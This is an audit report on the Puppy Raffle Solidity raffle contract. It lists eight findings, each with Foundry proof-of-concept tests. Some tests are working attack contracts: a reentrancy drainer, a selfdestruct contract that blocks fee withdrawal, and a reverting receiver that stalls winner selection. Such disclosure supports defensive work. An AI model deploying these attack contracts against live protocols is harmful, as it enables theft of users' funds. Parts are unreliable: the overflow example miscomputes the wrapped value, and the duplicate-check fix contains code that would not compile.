Audit Report

Version 1.0

Zkillua.io

Puppy Raffle Audit Report

Zkillua.io

Dec 27, 2023

Prepared by: Zkillua Lead Auditors: - Zkillua

Table of Contents

See table

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

The Zkillua team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Scope

commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

src/ — PuppyRaffle.sol

Issues found

Severity	Number of issues found
High	5
Medium	3
Low	0
Info	0
Gas Optimizations	0
Total	8

Findings

[H-0]Reentrancy Vulnerability in `PuppyRaffle:refund`

Description: The PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract. A malicious contract could re-enter the refund function before the state is updated.

Impact: This attack can drain out all the funds of the protocol.

Proof of Concept:

```
function test_reentrance() public playersEntered{

    ReentrancyAttacker attacker=new ReentrancyAttacker(address(
       puppyRaffle));
    vm.deal(address(attacker),1e18);
    uint256 startingAttackerBalance=address(attacker).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    attacker.attack();

    uint256 finalAttackerBalance=address(attacker).balance;
    uint256 finalContractBalance=address(puppyRaffle).balance;

    assertEq(finalAttackerBalance, startingAttackerBalance+
       startingContractBalance);
    assertEq(finalContractBalance,0);


}

contract ReentrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;


    constructor(address _puppyRaffle){
        puppyRaffle=PuppyRaffle(_puppyRaffle);
        entranceFee=puppyRaffle.entranceFee();
    }

    function attack() external payable{
        address[] memory players= new address[](1);
        players[0]=address(this);
        puppyRaffle.enterRaffle{value:entranceFee}(players);
        attackerIndex=puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);

    }
    receive() external payable{
        if(address(puppyRaffle).balance>0){
            puppyRaffle.refund(attackerIndex);
        }
    }

}
```

Recommended Mitigation:

It is a good practice to follow Checks-Effects-Interactions pattern.This pattern suggests that you should make any state changes before calling external contracts or sending Ether.

```
1
2  function refund(uint256 playerIndex) public {
3  address playerAddress = players[playerIndex];
4  require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
       refund");
5  require(playerAddress != address(0), "PuppyRaffle: Player already
       refunded, or is not active");
6
7  // Update the state before sending Ether
8  players[playerIndex] = address(0);
9  emit RaffleRefunded(playerAddress);
10
11 // Now it's safe to send Ether
12 (bool success, ) = payable(msg.sender).call{value: entranceFee}("");
13 require(success, "PuppyRaffle: Failed to refund");
14 }
```

[H-1] `selectwinner` always reverts if a player calls for a refund before raffle

Description: The refund function replaces at player's index with address(0) after refund,instead of deleting the player from the list. since the existing logic does not alter the players list length, the total fees is wrongly calculated.This causes the revert .

Impact: This potentially breaks the protocol, as it is common for players to call for a refund and after which, select winner always reverts.

Proof of Concept:

```
1  function test_winnerSelectionsRevertsAfterRefund() public
       playersEntered {
2          vm.warp(block.timestamp + duration + 1);
3          vm.roll(block.number + 1);
4
5          // There are four winners. Winner is last slot
6          vm.prank(playerFour);
7          puppyRaffle.refund(3);
8
9          // reverts because out of Funds
10         vm.expectRevert();
11         puppyRaffle.selectWinner();
12 }
```

Recommended Mitigation:

```
-    players[playerIndex] = address(0);

+    players[playerIndex] = players[players.length - 1];
+    players.pop()
```

[H-2] Unsafe cast from uint256 to uint64 with fees variable in `Puppyraffle:selectwinner()`.

Description: In select winner function , fee variable which is originally uint256 is typecasted into uint64, which leads to unwanted errors.

Impact: This will lead to incorrect fee calculations and hence a loss to the owner.

Proof of Concept:

```
function test_unsafeCast() public{
        address[] memory players=new address[](100);
        for(uint256 i=0;i<100;i++){
            players[i]=address(i);
        }
        puppyRaffle.enterRaffle{value:entranceFee * 100}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 expectedAmountCollected=entranceFee*100;
        uint256 expectedFee=expectedAmountCollected *20/100;
        console.log("expected fee ",expectedFee); //20e18
        console.log("total fee ",puppyRaffle.totalFees()); //due to
           unsafe cast it reduced to 15e17
        assertNotEq(expectedFee,puppyRaffle.totalFees());
}
```

Recommended Mitigation:

Instead of converting fee from uint256 to uint64, use uint256 type for `totalfees` variable.

```

-uint64 public totalFees = 0;
+uint256 public totalFees = 0;

- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

[H-3] Overflow,Underflow Vulnerability for solc versions less than 0.8.0.

Description: In solidity versions previous to 0.8.0 , there is no default protection to overflows and underflows. for example uint8 x can hold values from 0-255. So if x needs to hold a value like 260 for example it will actually store 260-255= 5 as it's value.

Impact: This will lead to incorrect calculations of values in variables like totalfess, fees etc.

Proof of Concept:

```
function test_overflow() public playersEntered{
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees=puppyRaffle.totalFees();

        address[] memory players=new address[](89);
        for(uint256 i=0;i<89;i++){
            players[i]=address(i);
        }
        puppyRaffle.enterRaffle{value:entranceFee * 89}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFees=puppyRaffle.totalFees();
        console.log("starting and ending fees ",startingTotalFees,
           endingTotalFees);
        assert(endingTotalFees<startingTotalFees);
//

    }
```

Recommended Mitigation: One can use safemath functions from openzeppelin library, use `.mul`,`.div` wherever there is a need to use multiplication and division, this will not cause overflow/underflow errors.

```
+ import "@openzeppelin/contracts/math/SafeMath.sol";
+ using SafeMath for uint256; then use .mul and .div wherever necessary
    .
```

[H-4] Potential Loss of funds during prize pool distribution

Description: As per the logic in `selectwinner()`, prize pool is distributed to an address that is randomly selected from players array. But everytime a refund is called by a player before raffle, the players array is altered by adding address(0) at that player's index instead of deleting the entry. If the random winner happens to be address(0), the prize pool will be transferred to address(0) which will

lead to loss of funds forever.

Impact: There is a High risk of losing funds forever.

Recommended Mitigation: 1. Change the `refund()` implementation, avoid address(0) logic and instead delete the entry of refunded player. 2. Have an additional check in `selectwinner` to check if funds are not transferred to address(0).

[M-0] `Puppleraffle:withdrawfees` can be halted by sending some funds to the contract

Description: In `withdrawfees` function there is a require statement that checks for the contract's balance and totalfees. When an attacker sends some funds to the contract, it is no longer going to match with totalfees received from players, hence will break the function.

Impact: The fees cannot be withdrawn from the contract.

Proof of Concept:

```
function test_attackWithdrawfees() public playersEntered{
        address attacker= makeAddr("attacker");
        vm.deal(attacker,1 ether);
        vm.startPrank(attacker);
        Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle));
        vm.expectRevert();
        puppyRaffle.withdrawFees();
        vm.stopPrank();
        }

contract Kill {
    constructor  (address target) payable {
        address payable _target = payable(target);
        selfdestruct(_target);
    }
}
```

Recommended Mitigation:

Can avoid using address(this).balance check and simply withdraw the totalfees.

[M-1] Select Winner will revert if winner is a smart contract without a receive or a fallback function or if there is a revert call inside receive function.

Impact: This will halt the raffle forever.

Proof of Concept:

```
function test_winnerDos() public{
    address[] memory players=new address[](4);
    players[0]=address(new WinnerDos());
    players[1]=address(new WinnerDos());
    players[2]=address(new WinnerDos());
    players[3]=address(new WinnerDos());
    puppyRaffle.enterRaffle{value:entranceFee*4}(players);
    vm.expectRevert();
    puppyRaffle.selectWinner();
}

contract WinnerDos{

    receive() external payable{
        revert();
    }
}
```

Recommended Mitigation:

1. Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction.

We can easily implement this check into the function because of the Adress library from OppenZeppelin.

```

+  require(Address.isContract(newPlayers[i]) == false, "The players
    need to be EOAs");
```

[M-2] `enterraffle()` use of gas extensive operations like checking for duplicates might lead to denial of service making subsequent participants to spend much more gas than previous players.

Description: In the enterRaffle function, to check duplicates, it loops through the players array. As the player array grows, it will make more checks, which leads the later user to pay more gas than the earlier one. More users in the Raffle, more checks a user have to make leads to pay more gas.

Impact: As the arrays grows significantly over time, it will make the function unusable due to block gas limit. This is not a fair approach and lead to bad user experience.

Proof of Concept:

```
function test_denialOfService() public {

        vm.txGasPrice(1);
```

```
        address[] memory players=new address[](100);
        for(uint256 i=0;i<100;i++){
            players[i]=address(i);
        }
        uint256 gasStart=gasleft();
        puppyRaffle.enterRaffle{value:entranceFee*100}(players);
        uint256 gasEnd=gasleft();
        uint256 gasUsed=gasStart-gasEnd * tx.gasprice;
        console.log("gas consumed for first 100 : ",gasUsed);

        address[] memory players2=new address[](100);
        for(uint256 i=0;i<100;i++){
            players2[i]=address(i+100);
        }
        uint256 gasStart2=gasleft();
        puppyRaffle.enterRaffle{value:entranceFee*100}(players2);
        uint256 gasEnd2=gasleft();
        uint256 gasUsed2=gasStart2-gasEnd2 * tx.gasprice;
        console.log("gas consumed for second 100 : ",gasUsed2);
        console.log("difference in gas usage :",gasUsed2/gasUsed);

}
```

Recommended Mitigation:

1. It is ideal to avoid duplication checks since participants can make new accounts to enter raffle anyways.
2. use another efficient methodolgy to check for duplicates.

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           usersToRaffleId[newPlayers[i]] = true;
        }

        // Check for duplicates
+       for (uint256 i = 0; i < newPlayers.length; i++){
+           require(usersToRaffleId[i] != raffleID, "PuppyRaffle:
    Already a participant");

-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
```

```
        Duplicate player");
-               }
        }

        emit RaffleEnter(newPlayers);
    }
.
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;
    }

}
```